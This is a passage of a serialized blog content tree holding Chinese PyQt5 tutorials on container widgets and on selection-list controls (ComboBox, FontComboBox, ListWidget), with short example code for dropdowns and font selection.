\n",{"type":18,"tag":297,"props":51012,"children":51014},{"class":299,"line":51013},113,[51015],{"type":18,"tag":297,"props":51016,"children":51017},{},[51018],{"type":24,"value":36783},{"type":18,"tag":297,"props":51020,"children":51022},{"class":299,"line":51021},114,[51023],{"type":18,"tag":297,"props":51024,"children":51025},{},[51026],{"type":24,"value":42415},{"type":18,"tag":297,"props":51028,"children":51030},{"class":299,"line":51029},115,[51031],{"type":18,"tag":297,"props":51032,"children":51033},{},[51034],{"type":24,"value":42423},{"type":18,"tag":297,"props":51036,"children":51038},{"class":299,"line":51037},116,[51039],{"type":18,"tag":297,"props":51040,"children":51041},{},[51042],{"type":24,"value":42431},{"type":18,"tag":297,"props":51044,"children":51046},{"class":299,"line":51045},117,[51047],{"type":18,"tag":297,"props":51048,"children":51049},{},[51050],{"type":24,"value":43682},{"type":18,"tag":297,"props":51052,"children":51054},{"class":299,"line":51053},118,[51055],{"type":18,"tag":297,"props":51056,"children":51057},{},[51058],{"type":24,"value":43690},{"type":18,"tag":297,"props":51060,"children":51062},{"class":299,"line":51061},119,[51063],{"type":18,"tag":297,"props":51064,"children":51065},{},[51066],{"type":24,"value":51067},"    ui = Ui_MainWindow()  # 创建PyQt设计的窗体对象  \n",{"type":18,"tag":297,"props":51069,"children":51071},{"class":299,"line":51070},120,[51072],{"type":18,"tag":297,"props":51073,"children":51074},{},[51075],{"type":24,"value":43706},{"type":18,"tag":297,"props":51077,"children":51079},{"class":299,"line":51078},121,[51080],{"type":18,"tag":297,"props":51081,"children":51082},{},[51083],{"type":24,"value":51084},"    MainWindow.setWindowFlags(QtCore.Qt.WindowCloseButtonHint)  # 只显示“关闭”按钮  \n",{"type":18,"tag":297,"props":51086,"children":51088},{"class":299,"line":51087},122,[51089],{"type":18,"tag":297,"props":51090,"children":51091},{},[51092],{"type":24,"value":51093},"    MainWindow.show()  # 显示窗体  \n",{"type":18,"tag":297,"props":51095,"children":51097},{"class":299,"line":51096},123,[51098],{"type":18,"tag":297,"props":51099,"children":51100},{},[51101],{"type":24,"value":51102},"    sys.exit(app.exec_())  # 程序关闭时退出进程\n",{"type":18,"tag":34,"props":51104,"children":51105},{},[51106,51108,51113],{"type":24,"value":51107},"运行程序，分别单击",{"type":18,"tag":74,"props":51109,"children":51111},{"className":51110},[],[51112],{"type":24,"value":48988},{"type":24,"value":51114},"工具盒中的选项卡标题，即可进行切换显示，如图所示。",{"type":18,"tag":34,"props":51116,"children":51117},{},[51118],{"type":18,"tag":54,"props":51119,"children":51122},{"alt":51120,"src":51121},"Pasted image 20250901195730","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901195730.png",[],{"type":18,"tag":651,"props":51124,"children":51125},{},[51126],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":51128},[51129,51131,51133],{"id":48993,"depth":657,"text":51130},"1  GroupBox：分组框",{"id":49210,"depth":657,"text":51132},"2  TabWidget：选项卡",{"id":49873,"depth":657,"text":51134},"3 ToolBox：工具盒","content:blog:2025-08-26-pyqt5-容器控件.md","blog\u002F2025-08-26-pyqt5-容器控件.md","blog\u002F2025-08-26-pyqt5-容器控件",{"_path":51139,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":51140,"description":51141,"date":51142,"tags":51143,"body":51144,"_type":672,"_id":52776,"_source":674,"_file":52777,"_stem":52778,"_extension":677},"\u002Fblog\u002F2025-08-25-pyqt5","PyQt5-选择列表类控件","PyQt5选择列表类控件：ComboBox、ListWidget、TableWidget、TreeWidget等。","2025-08-25",[28616,41429,41430],{"type":15,"children":51145,"toc":52768},[51146,51173,51185,51188,51198,51214,51342,51367,51390,51398,51499,51522,51533,51588,51606,51614,51626,51629,51647,51679,51737,51745,51822,51877,51888,51927,51961,51975,51983,51996,52004,52017,52020,52104,52120,52376,52399,52422,52430,52442,52485,52652,52680,52693,52732,52743,52751,52756,52764],{"type":18,"tag":34,"props":51147,"children":51148},{},[51149,51151,51157,51158,51164,51165,51171],{"type":24,"value":51150},"选择列表类控件主要以列表形式为用户提供选择的项目，用户可以从中选择项，本节将对PyQt5中的常用选择列表类控件的使用进行讲解，包括",{"type":18,"tag":74,"props":51152,"children":51154},{"className":51153},[],[51155],{"type":24,"value":51156},"ComboBox",{"type":24,"value":1942},{"type":18,"tag":74,"props":51159,"children":51161},{"className":51160},[],[51162],{"type":24,"value":51163},"FontComboBox",{"type":24,"value":10315},{"type":18,"tag":74,"props":51166,"children":51168},{"className":51167},[],[51169],{"type":24,"value":51170},"ListWidget",{"type":24,"value":51172},"等。",{"type":18,"tag":19,"props":51174,"children":51176},{"id":51175},"_1combobox下拉组合框",[51177,51178,51183],{"type":24,"value":41463},{"type":18,"tag":74,"props":51179,"children":51181},{"className":51180},[],[51182],{"type":24,"value":51156},{"type":24,"value":51184},"：下拉组合框",{"type":18,"tag":121,"props":51186,"children":51187},{},[],{"type":18,"tag":34,"props":51189,"children":51190},{},[51191,51196],{"type":18,"tag":74,"props":51192,"children":51194},{"className":51193},[],[51195],{"type":24,"value":51156},{"type":24,"value":51197},"控件，又称为下拉组合框控件，它主要用于在下拉组合框中显示数据，用户可以从中选择项。",{"type":18,"tag":34,"props":51199,"children":51200},{},[51201,51206,51207,51213],{"type":18,"tag":74,"props":51202,"children":51204},{"className":51203},[],[51205],{"type":24,"value":51156},{"type":24,"value":41483},{"type":18,"tag":74,"props":51208,"children":51210},{"className":51209},[],[51211],{"type":24,"value":51212},"QComboBox",{"type":24,"value":48168},{"type":18,"tag":431,"props":51215,"children":51216},{},[51217,51237],{"type":18,"tag":435,"props":51218,"children":51219},{},[51220],{"type":18,"tag":439,"props":51221,"children":51222},{},[51223,51230],{"type":18,"tag":443,"props":51224,"children":51225},{},[51226],{"type":18,"tag":105,"props":51227,"children":51228},{},[51229],{"type":24,"value":41518},{"type":18,"tag":443,"props":51231,"children":51232},{},[51233],{"type":18,"tag":105,"props":51234,"children":51235},{},[51236],{"type":24,"value":41526},{"type":18,"tag":459,"props":51238,"children":51239},{},[51240,51252,51265,51278,51290,51303,51316,51329],{"type":18,"tag":439,"props":51241,"children":51242},{},[51243,51247],{"type":18,"tag":466,"props":51244,"children":51245},{},[51246],{"type":24,"value":49946},{"type":18,"tag":466,"props":51248,"children":51249},{},[51250],{"type":24,"value":51251},"添加一个下拉列表项",{"type":18,"tag":439,"props":51253,"children":51254},{},[51255,51260],{"type":18,"tag":466,"props":51256,"children":51257},{},[51258],{"type":24,"value":51259},"addItems()",{"type":18,"tag":466,"props":51261,"children":51262},{},[51263],{"type":24,"value":51264},"从列表中添加下拉选项",{"type":18,"tag":439,"props":51266,"children":51267},{},[51268,51273],{"type":18,"tag":466,"props":51269,"children":51270},{},[51271],{"type":24,"value":51272},"currentText()",{"type":18,"tag":466,"props":51274,"children":51275},{},[51276],{"type":24,"value":51277},"获取选中项的文本",{"type":18,"tag":439,"props":51279,"children":51280},{},[51281,51285],{"type":18,"tag":466,"props":51282,"children":51283},{},[51284],{"type":24,"value":49334},{"type":18,"tag":466,"props":51286,"children":51287},{},[51288],{"type":24,"value":51289},"获取选中项的索引",{"type":18,"tag":439,"props":51291,"children":51292},{},[51293,51298],{"type":18,"tag":466,"props":51294,"children":51295},{},[51296],{"type":24,"value":51297},"itemText(index)",{"type":18,"tag":466,"props":51299,"children":51300},{},[51301],{"type":24,"value":51302},"获取索引为index的项的文本",{"type":18,"tag":439,"props":51304,"children":51305},{},[51306,51311],{"type":18,"tag":466,"props":51307,"children":51308},{},[51309],{"type":24,"value":51310},"setItemText(index,text)",{"type":18,"tag":466,"props":51312,"children":51313},{},[51314],{"type":24,"value":51315},"设置索引为index的项的文本",{"type":18,"tag":439,"props":51317,"children":51318},{},[51319,51324],{"type":18,"tag":466,"props":51320,"children":51321},{},[51322],{"type":24,"value":51323},"count()",{"type":18,"tag":466,"props":51325,"children":51326},{},[51327],{"type":24,"value":51328},"获取所有选项的数量",{"type":18,"tag":439,"props":51330,"children":51331},{},[51332,51337],{"type":18,"tag":466,"props":51333,"children":51334},{},[51335],{"type":24,"value":51336},"clear()",{"type":18,"tag":466,"props":51338,"children":51339},{},[51340],{"type":24,"value":51341},"删除所有选项",{"type":18,"tag":34,"props":51343,"children":51344},{},[51345,51350,51352,51358,51359,51365],{"type":18,"tag":74,"props":51346,"children":51348},{"className":51347},[],[51349],{"type":24,"value":51156},{"type":24,"value":51351},"控件常用的信号有两个：",{"type":18,"tag":74,"props":51353,"children":51355},{"className":51354},[],[51356],{"type":24,"value":51357},"activated",{"type":24,"value":10315},{"type":18,"tag":74,"props":51360,"children":51362},{"className":51361},[],[51363],{"type":24,"value":51364},"currentIndexChanged",{"type":24,"value":51366},"，其中：",{"type":18,"tag":210,"props":51368,"children":51369},{},[51370,51380],{"type":18,"tag":158,"props":51371,"children":51372},{},[51373,51378],{"type":18,"tag":74,"props":51374,"children":51376},{"className":51375},[],[51377],{"type":24,"value":51357},{"type":24,"value":51379},"信号在用户选中一个下拉选项时发射；",{"type":18,"tag":158,"props":51381,"children":51382},{},[51383,51388],{"type":18,"tag":74,"props":51384,"children":51386},{"className":51385},[],[51387],{"type":24,"value":51364},{"type":24,"value":51389},"信号则在下拉选项的索引发生改变时发射。",{"type":18,"tag":34,"props":51391,"children":51392},{},[51393],{"type":18,"tag":105,"props":51394,"children":51395},{},[51396],{"type":24,"value":51397},"实例 在下拉列表中选择职位",{"type":18,"tag":34,"props":51399,"children":51400},{},[51401,51403,51408,51410,51415,51416,51421,51423,51428,51430,51436,51438,51443,51445,51450,51452,51457,51459,51464,51465,51470,51471,51476,51477,51483,51485,51490,51492,51497],{"type":24,"value":51402},"在Qt Designer设计器中创建一个窗口，实现通过",{"type":18,"tag":74,"props":51404,"children":51406},{"className":51405},[],[51407],{"type":24,"value":51156},{"type":24,"value":51409},"控件选择职位的功能。在窗口中添加两个",{"type":18,"tag":74,"props":51411,"children":51413},{"className":51412},[],[51414],{"type":24,"value":45647},{"type":24,"value":44677},{"type":18,"tag":74,"props":51417,"children":51419},{"className":51418},[],[51420],{"type":24,"value":51156},{"type":24,"value":51422},"控件。其中，第一个",{"type":18,"tag":74,"props":51424,"children":51426},{"className":51425},[],[51427],{"type":24,"value":45647},{"type":24,"value":51429},"控件用来作为标识，文本设置为",{"type":18,"tag":74,"props":51431,"children":51433},{"className":51432},[],[51434],{"type":24,"value":51435},"职位：",{"type":24,"value":51437},"；第二个",{"type":18,"tag":74,"props":51439,"children":51441},{"className":51440},[],[51442],{"type":24,"value":45647},{"type":24,"value":51444},"控件用来显示",{"type":18,"tag":74,"props":51446,"children":51448},{"className":51447},[],[51449],{"type":24,"value":51156},{"type":24,"value":51451},"中选择的职位；",{"type":18,"tag":74,"props":51453,"children":51455},{"className":51454},[],[51456],{"type":24,"value":51156},{"type":24,"value":51458},"控件用来作为职位的下拉列表。设计完成后保存为",{"type":18,"tag":74,"props":51460,"children":51462},{"className":51461},[],[51463],{"type":24,"value":43367},{"type":24,"value":43369},{"type":18,"tag":74,"props":51466,"children":51468},{"className":51467},[],[51469],{"type":24,"value":42560},{"type":24,"value":46735},{"type":18,"tag":74,"props":51472,"children":51474},{"className":51473},[],[51475],{"type":24,"value":42560},{"type":24,"value":48523},{"type":18,"tag":74,"props":51478,"children":51480},{"className":51479},[],[51481],{"type":24,"value":51482},"showinfo()方法",{"type":24,"value":51484},"，用来将",{"type":18,"tag":74,"props":51486,"children":51488},{"className":51487},[],[51489],{"type":24,"value":51156},{"type":24,"value":51491},"下拉列表中选择的项显示在",{"type":18,"tag":74,"props":51493,"children":51495},{"className":51494},[],[51496],{"type":24,"value":45647},{"type":24,"value":51498},"标签中，代码如下：",{"type":18,"tag":287,"props":51500,"children":51502},{"className":28710,"code":51501,"language":28712,"meta":8,"style":8},"def showinfo(self):  \n    self.label_2.setText(\"您选择的职位是：\" + self.comboBox.currentText())  # 显示选择的职位\n",[51503],{"type":18,"tag":74,"props":51504,"children":51505},{"__ignoreMap":8},[51506,51514],{"type":18,"tag":297,"props":51507,"children":51508},{"class":299,"line":300},[51509],{"type":18,"tag":297,"props":51510,"children":51511},{},[51512],{"type":24,"value":51513},"def showinfo(self):  \n",{"type":18,"tag":297,"props":51515,"children":51516},{"class":299,"line":657},[51517],{"type":18,"tag":297,"props":51518,"children":51519},{},[51520],{"type":24,"value":51521},"    self.label_2.setText(\"您选择的职位是：\" + self.comboBox.currentText())  # 显示选择的职位\n",{"type":18,"tag":34,"props":51523,"children":51524},{},[51525,51526,51531],{"type":24,"value":48801},{"type":18,"tag":74,"props":51527,"children":51529},{"className":51528},[],[51530],{"type":24,"value":51156},{"type":24,"value":51532},"设置下拉列表项及信号与槽的关联。代码如下：",{"type":18,"tag":287,"props":51534,"children":51536},{"className":28710,"code":51535,"language":28712,"meta":8,"style":8},"# 定义职位列表  \nlist = [\"总经理\", \"副总经理\", \"人事部经理\", \"财务部经理\", \"部门经理\", \"普通员工\"]  \n# 将职位列表添加到ComboBox下拉列表中  \nself.comboBox.addItems(list)    \n# 将ComboBox控件的选项更改信号与自定义槽函数关联  \nself.comboBox.currentIndexChanged.connect(self.showinfo)\n",[51537],{"type":18,"tag":74,"props":51538,"children":51539},{"__ignoreMap":8},[51540,51548,51556,51564,51572,51580],{"type":18,"tag":297,"props":51541,"children":51542},{"class":299,"line":300},[51543],{"type":18,"tag":297,"props":51544,"children":51545},{},[51546],{"type":24,"value":51547},"# 定义职位列表  \n",{"type":18,"tag":297,"props":51549,"children":51550},{"class":299,"line":657},[51551],{"type":18,"tag":297,"props":51552,"children":51553},{},[51554],{"type":24,"value":51555},"list = [\"总经理\", \"副总经理\", \"人事部经理\", \"财务部经理\", \"部门经理\", \"普通员工\"]  \n",{"type":18,"tag":297,"props":51557,"children":51558},{"class":299,"line":662},[51559],{"type":18,"tag":297,"props":51560,"children":51561},{},[51562],{"type":24,"value":51563},"# 将职位列表添加到ComboBox下拉列表中  \n",{"type":18,"tag":297,"props":51565,"children":51566},{"class":299,"line":799},[51567],{"type":18,"tag":297,"props":51568,"children":51569},{},[51570],{"type":24,"value":51571},"self.comboBox.addItems(list)    \n",{"type":18,"tag":297,"props":51573,"children":51574},{"class":299,"line":808},[51575],{"type":18,"tag":297,"props":51576,"children":51577},{},[51578],{"type":24,"value":51579},"# 将ComboBox控件的选项更改信号与自定义槽函数关联  \n",{"type":18,"tag":297,"props":51581,"children":51582},{"class":299,"line":817},[51583],{"type":18,"tag":297,"props":51584,"children":51585},{},[51586],{"type":24,"value":51587},"self.comboBox.currentIndexChanged.connect(self.showinfo)\n",{"type":18,"tag":34,"props":51589,"children":51590},{},[51591,51592,51597,51599,51604],{"type":24,"value":48801},{"type":18,"tag":74,"props":51593,"children":51595},{"className":51594},[],[51596],{"type":24,"value":42560},{"type":24,"value":51598},"文件添加程序入口，然后运行程序，当在职位列表中选中某个职位时，将会在下方的",{"type":18,"tag":74,"props":51600,"children":51602},{"className":51601},[],[51603],{"type":24,"value":45647},{"type":24,"value":51605},"标签中显示选中的职位，效果如图所示。",{"type":18,"tag":34,"props":51607,"children":51608},{},[51609],{"type":18,"tag":54,"props":51610,"children":51613},{"alt":51611,"src":51612},"Pasted image 20250830223733","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250830223733.png",[],{"type":18,"tag":19,"props":51615,"children":51617},{"id":51616},"_2fontcombobox字体组合框",[51618,51619,51624],{"type":24,"value":42997},{"type":18,"tag":74,"props":51620,"children":51622},{"className":51621},[],[51623],{"type":24,"value":51163},{"type":24,"value":51625},"：字体组合框",{"type":18,"tag":121,"props":51627,"children":51628},{},[],{"type":18,"tag":34,"props":51630,"children":51631},{},[51632,51637,51639,51645],{"type":18,"tag":74,"props":51633,"children":51635},{"className":51634},[],[51636],{"type":24,"value":51163},{"type":24,"value":51638},"控件，又称为字体组合框控件，它主要用于在下拉组合框中显示并选择字体，它对应PyQt5中的",{"type":18,"tag":74,"props":51640,"children":51642},{"className":51641},[],[51643],{"type":24,"value":51644},"QFontComboBox",{"type":24,"value":51646},"类。",{"type":18,"tag":34,"props":51648,"children":51649},{},[51650,51655,51657,51662,51664,51669,51671,51677],{"type":18,"tag":74,"props":51651,"children":51653},{"className":51652},[],[51654],{"type":24,"value":51163},{"type":24,"value":51656},"控件的使用与",{"type":18,"tag":74,"props":51658,"children":51660},{"className":51659},[],[51661],{"type":24,"value":51156},{"type":24,"value":51663},"控件类似，但由于它的主要作用是选择字体，所以在",{"type":18,"tag":74,"props":51665,"children":51667},{"className":51666},[],[51668],{"type":24,"value":51644},{"type":24,"value":51670},"类中提供了一个",{"type":18,"tag":74,"props":51672,"children":51674},{"className":51673},[],[51675],{"type":24,"value":51676},"setFontFilters()方法",{"type":24,"value":51678},"，用来设置可以选择的字体，该方法的参数值及说明如下：",{"type":18,"tag":210,"props":51680,"children":51681},{},[51682,51693,51704,51715,51726],{"type":18,"tag":158,"props":51683,"children":51684},{},[51685,51691],{"type":18,"tag":74,"props":51686,"children":51688},{"className":51687},[],[51689],{"type":24,"value":51690},"QFontComboBox.AllFonts",{"type":24,"value":51692},"：所有字体。",{"type":18,"tag":158,"props":51694,"children":51695},{},[51696,51702],{"type":18,"tag":74,"props":51697,"children":51699},{"className":51698},[],[51700],{"type":24,"value":51701},"QFontComboBox.ScalableFonts",{"type":24,"value":51703},"：可以自动伸缩的字体。",{"type":18,"tag":158,"props":51705,"children":51706},{},[51707,51713],{"type":18,"tag":74,"props":51708,"children":51710},{"className":51709},[],[51711],{"type":24,"value":51712},"QFontComboBox.NonScalableFonts",{"type":24,"value":51714},"：不自动伸缩的字体。",{"type":18,"tag":158,"props":51716,"children":51717},{},[51718,51724],{"type":18,"tag":74,"props":51719,"children":51721},{"className":51720},[],[51722],{"type":24,"value":51723},"QFontComboBox.MonospacedFonts",{"type":24,"value":51725},"：等宽字体。",{"type":18,"tag":158,"props":51727,"children":51728},{},[51729,51735],{"type":18,"tag":74,"props":51730,"children":51732},{"className":51731},[],[51733],{"type":24,"value":51734},"QFontComboBox.ProportionalFonts",{"type":24,"value":51736},"：比例字体。",{"type":18,"tag":34,"props":51738,"children":51739},{},[51740],{"type":18,"tag":105,"props":51741,"children":51742},{},[51743],{"type":24,"value":51744},"实例 动态改变标签的字体",{"type":18,"tag":34,"props":51746,"children":51747},{},[51748,51749,51754,51756,51761,51763,51768,51769,51774,51775,51780,51782,51787,51789,51794,51795,51800,51801,51806,51807,51813,51815,51820],{"type":24,"value":51402},{"type":18,"tag":74,"props":51750,"children":51752},{"className":51751},[],[51753],{"type":24,"value":51163},{"type":24,"value":51755},"动态改变",{"type":18,"tag":74,"props":51757,"children":51759},{"className":51758},[],[51760],{"type":24,"value":45647},{"type":24,"value":51762},"标签字体的功能。在窗口中添加一个",{"type":18,"tag":74,"props":51764,"children":51766},{"className":51765},[],[51767],{"type":24,"value":45647},{"type":24,"value":44677},{"type":18,"tag":74,"props":51770,"children":51772},{"className":51771},[],[51773],{"type":24,"value":51163},{"type":24,"value":47482},{"type":18,"tag":74,"props":51776,"children":51778},{"className":51777},[],[51779],{"type":24,"value":45647},{"type":24,"value":51781},"控件用来显示文本；而",{"type":18,"tag":74,"props":51783,"children":51785},{"className":51784},[],[51786],{"type":24,"value":51163},{"type":24,"value":51788},"控件用来选择字体。设计完成后保存为",{"type":18,"tag":74,"props":51790,"children":51792},{"className":51791},[],[51793],{"type":24,"value":43367},{"type":24,"value":43369},{"type":18,"tag":74,"props":51796,"children":51798},{"className":51797},[],[51799],{"type":24,"value":42560},{"type":24,"value":46735},{"type":18,"tag":74,"props":51802,"children":51804},{"className":51803},[],[51805],{"type":24,"value":42560},{"type":24,"value":48523},{"type":18,"tag":74,"props":51808,"children":51810},{"className":51809},[],[51811],{"type":24,"value":51812},"setfont()方法",{"type":24,"value":51814},"，用来将选择的字体设置为",{"type":18,"tag":74,"props":51816,"children":51818},{"className":51817},[],[51819],{"type":24,"value":45647},{"type":24,"value":51821},"标签的字体，代码如下：",{"type":18,"tag":287,"props":51823,"children":51825},{"className":28710,"code":51824,"language":28712,"meta":8,"style":8},"# 自定义槽函数，用来将选择的字体设置为Label标签的字体  \ndef setfont(self):  \n    # 控制台中输出选择的字体  \n    print(self.fontComboBox.currentText())    \n    # 为Label设置字体  \n    self.label.setFont(QtGui.QFont(self.fontComboBox.currentText()))\n",[51826],{"type":18,"tag":74,"props":51827,"children":51828},{"__ignoreMap":8},[51829,51837,51845,51853,51861,51869],{"type":18,"tag":297,"props":51830,"children":51831},{"class":299,"line":300},[51832],{"type":18,"tag":297,"props":51833,"children":51834},{},[51835],{"type":24,"value":51836},"# 自定义槽函数，用来将选择的字体设置为Label标签的字体  \n",{"type":18,"tag":297,"props":51838,"children":51839},{"class":299,"line":657},[51840],{"type":18,"tag":297,"props":51841,"children":51842},{},[51843],{"type":24,"value":51844},"def setfont(self):  \n",{"type":18,"tag":297,"props":51846,"children":51847},{"class":299,"line":662},[51848],{"type":18,"tag":297,"props":51849,"children":51850},{},[51851],{"type":24,"value":51852},"    # 控制台中输出选择的字体  \n",{"type":18,"tag":297,"props":51854,"children":51855},{"class":299,"line":799},[51856],{"type":18,"tag":297,"props":51857,"children":51858},{},[51859],{"type":24,"value":51860},"    print(self.fontComboBox.currentText())    \n",{"type":18,"tag":297,"props":51862,"children":51863},{"class":299,"line":808},[51864],{"type":18,"tag":297,"props":51865,"children":51866},{},[51867],{"type":24,"value":51868},"    # 为Label设置字体  \n",{"type":18,"tag":297,"props":51870,"children":51871},{"class":299,"line":817},[51872],{"type":18,"tag":297,"props":51873,"children":51874},{},[51875],{"type":24,"value":51876},"    self.label.setFont(QtGui.QFont(self.fontComboBox.currentText()))\n",{"type":18,"tag":34,"props":51878,"children":51879},{},[51880,51881,51886],{"type":24,"value":48801},{"type":18,"tag":74,"props":51882,"children":51884},{"className":51883},[],[51885],{"type":24,"value":51163},{"type":24,"value":51887},"控件设置要显示的字体及信号与槽的关联。代码如下：",{"type":18,"tag":287,"props":51889,"children":51891},{"className":28710,"code":51890,"language":28712,"meta":8,"style":8},"# 设置字体组合框中显示所有字体  \nself.fontComboBox.setFontFilters(QtWidgets.QFontComboBox.AllFonts)  \n# 当选择的字体改变时，发射currentIndexChanged信号，调用setfont()槽函数  \nself.fontComboBox.currentIndexChanged.connect(self.setfont)\n",[51892],{"type":18,"tag":74,"props":51893,"children":51894},{"__ignoreMap":8},[51895,51903,51911,51919],{"type":18,"tag":297,"props":51896,"children":51897},{"class":299,"line":300},[51898],{"type":18,"tag":297,"props":51899,"children":51900},{},[51901],{"type":24,"value":51902},"# 设置字体组合框中显示所有字体  \n",{"type":18,"tag":297,"props":51904,"children":51905},{"class":299,"line":657},[51906],{"type":18,"tag":297,"props":51907,"children":51908},{},[51909],{"type":24,"value":51910},"self.fontComboBox.setFontFilters(QtWidgets.QFontComboBox.AllFonts)  \n",{"type":18,"tag":297,"props":51912,"children":51913},{"class":299,"line":662},[51914],{"type":18,"tag":297,"props":51915,"children":51916},{},[51917],{"type":24,"value":51918},"# 当选择的字体改变时，发射currentIndexChanged信号，调用setfont()槽函数  \n",{"type":18,"tag":297,"props":51920,"children":51921},{"class":299,"line":799},[51922],{"type":18,"tag":297,"props":51923,"children":51924},{},[51925],{"type":24,"value":51926},"self.fontComboBox.currentIndexChanged.connect(self.setfont)\n",{"type":18,"tag":34,"props":51928,"children":51929},{},[51930,51931,51936,51938,51943,51945,51951,51953,51959],{"type":24,"value":48801},{"type":18,"tag":74,"props":51932,"children":51934},{"className":51933},[],[51935],{"type":24,"value":42560},{"type":24,"value":51937},"文件添加程序入口，然后运行程序，在窗口中的字体下拉组合框中选择某个字体时，会在控制台中输出选择的字体。同时，",{"type":18,"tag":74,"props":51939,"children":51941},{"className":51940},[],[51942],{"type":24,"value":45647},{"type":24,"value":51944},"标签中的字体也会更改为选择的字体。例如，下图是在字体下拉组合框中分别选择",{"type":18,"tag":74,"props":51946,"children":51948},{"className":51947},[],[51949],{"type":24,"value":51950},"华文琥珀",{"type":24,"value":51952},"字体和",{"type":18,"tag":74,"props":51954,"children":51956},{"className":51955},[],[51957],{"type":24,"value":51958},"楷体",{"type":24,"value":51960},"字体时的效果。",{"type":18,"tag":210,"props":51962,"children":51963},{},[51964],{"type":18,"tag":158,"props":51965,"children":51966},{},[51967,51968,51973],{"type":24,"value":3839},{"type":18,"tag":74,"props":51969,"children":51971},{"className":51970},[],[51972],{"type":24,"value":51950},{"type":24,"value":51974},"字体的效果",{"type":18,"tag":34,"props":51976,"children":51977},{},[51978],{"type":18,"tag":54,"props":51979,"children":51982},{"alt":51980,"src":51981},"Pasted image 20250830225327","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250830225327.png",[],{"type":18,"tag":210,"props":51984,"children":51985},{},[51986],{"type":18,"tag":158,"props":51987,"children":51988},{},[51989,51990,51995],{"type":24,"value":3839},{"type":18,"tag":74,"props":51991,"children":51993},{"className":51992},[],[51994],{"type":24,"value":51958},{"type":24,"value":51974},{"type":18,"tag":34,"props":51997,"children":51998},{},[51999],{"type":18,"tag":54,"props":52000,"children":52003},{"alt":52001,"src":52002},"Pasted image 20250830225403","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250830225403.png",[],{"type":18,"tag":19,"props":52005,"children":52007},{"id":52006},"_3listwidget列表",[52008,52010,52015],{"type":24,"value":52009},"3  ",{"type":18,"tag":74,"props":52011,"children":52013},{"className":52012},[],[52014],{"type":24,"value":51170},{"type":24,"value":52016},"：列表",{"type":18,"tag":121,"props":52018,"children":52019},{},[],{"type":18,"tag":34,"props":52021,"children":52022},{},[52023,52025,52030,52031,52037,52039,52044,52046,52051,52053,52058,52060,52065,52067,52072,52074,52080,52082,52087,52089,52095,52097,52102],{"type":24,"value":52024},"PyQt5中提供了两种列表，分别是",{"type":18,"tag":74,"props":52026,"children":52028},{"className":52027},[],[52029],{"type":24,"value":51170},{"type":24,"value":10315},{"type":18,"tag":74,"props":52032,"children":52034},{"className":52033},[],[52035],{"type":24,"value":52036},"ListView",{"type":24,"value":52038},"。其中，",{"type":18,"tag":74,"props":52040,"children":52042},{"className":52041},[],[52043],{"type":24,"value":52036},{"type":24,"value":52045},"是基于模型的，它是",{"type":18,"tag":74,"props":52047,"children":52049},{"className":52048},[],[52050],{"type":24,"value":51170},{"type":24,"value":52052},"的父类，使用",{"type":18,"tag":74,"props":52054,"children":52056},{"className":52055},[],[52057],{"type":24,"value":52036},{"type":24,"value":52059},"时，首先需要建立模型，然后再保存数据；而",{"type":18,"tag":74,"props":52061,"children":52063},{"className":52062},[],[52064],{"type":24,"value":51170},{"type":24,"value":52066},"是",{"type":18,"tag":74,"props":52068,"children":52070},{"className":52069},[],[52071],{"type":24,"value":52036},{"type":24,"value":52073},"的升级版本，它已经内置了一个数据存储模型",{"type":18,"tag":74,"props":52075,"children":52077},{"className":52076},[],[52078],{"type":24,"value":52079},"QListWidgetItem",{"type":24,"value":52081},"，在使用时，不必自己再建立模型，而直接使用",{"type":18,"tag":74,"props":52083,"children":52085},{"className":52084},[],[52086],{"type":24,"value":49946},{"type":24,"value":52088},"或者",{"type":18,"tag":74,"props":52090,"children":52092},{"className":52091},[],[52093],{"type":24,"value":52094},"addItems()方法",{"type":24,"value":52096},"即可添加列表项。所以在实际开发时，推荐使用",{"type":18,"tag":74,"props":52098,"children":52100},{"className":52099},[],[52101],{"type":24,"value":51170},{"type":24,"value":52103},"控件作为列表。",{"type":18,"tag":34,"props":52105,"children":52106},{},[52107,52112,52113,52119],{"type":18,"tag":74,"props":52108,"children":52110},{"className":52109},[],[52111],{"type":24,"value":51170},{"type":24,"value":41483},{"type":18,"tag":74,"props":52114,"children":52116},{"className":52115},[],[52117],{"type":24,"value":52118},"QListWidget",{"type":24,"value":48168},{"type":18,"tag":431,"props":52121,"children":52122},{},[52123,52143],{"type":18,"tag":435,"props":52124,"children":52125},{},[52126],{"type":18,"tag":439,"props":52127,"children":52128},{},[52129,52136],{"type":18,"tag":443,"props":52130,"children":52131},{},[52132],{"type":18,"tag":105,"props":52133,"children":52134},{},[52135],{"type":24,"value":41518},{"type":18,"tag":443,"props":52137,"children":52138},{},[52139],{"type":18,"tag":105,"props":52140,"children":52141},{},[52142],{"type":24,"value":41526},{"type":18,"tag":459,"props":52144,"children":52145},{},[52146,52158,52170,52183,52196,52209,52222,52277,52310,52322,52351,52364],{"type":18,"tag":439,"props":52147,"children":52148},{},[52149,52153],{"type":18,"tag":466,"props":52150,"children":52151},{},[52152],{"type":24,"value":49946},{"type":18,"tag":466,"props":52154,"children":52155},{},[52156],{"type":24,"value":52157},"向列表中添加项",{"type":18,"tag":439,"props":52159,"children":52160},{},[52161,52165],{"type":18,"tag":466,"props":52162,"children":52163},{},[52164],{"type":24,"value":51259},{"type":18,"tag":466,"props":52166,"children":52167},{},[52168],{"type":24,"value":52169},"一次向列表中添加多项",{"type":18,"tag":439,"props":52171,"children":52172},{},[52173,52178],{"type":18,"tag":466,"props":52174,"children":52175},{},[52176],{"type":24,"value":52177},"insertItem()",{"type":18,"tag":466,"props":52179,"children":52180},{},[52181],{"type":24,"value":52182},"在指定索引处插入项",{"type":18,"tag":439,"props":52184,"children":52185},{},[52186,52191],{"type":18,"tag":466,"props":52187,"children":52188},{},[52189],{"type":24,"value":52190},"setCurrentItem()",{"type":18,"tag":466,"props":52192,"children":52193},{},[52194],{"type":24,"value":52195},"设置当前选择项",{"type":18,"tag":439,"props":52197,"children":52198},{},[52199,52204],{"type":18,"tag":466,"props":52200,"children":52201},{},[52202],{"type":24,"value":52203},"item.setToolTip()",{"type":18,"tag":466,"props":52205,"children":52206},{},[52207],{"type":24,"value":52208},"设置提示内容",{"ty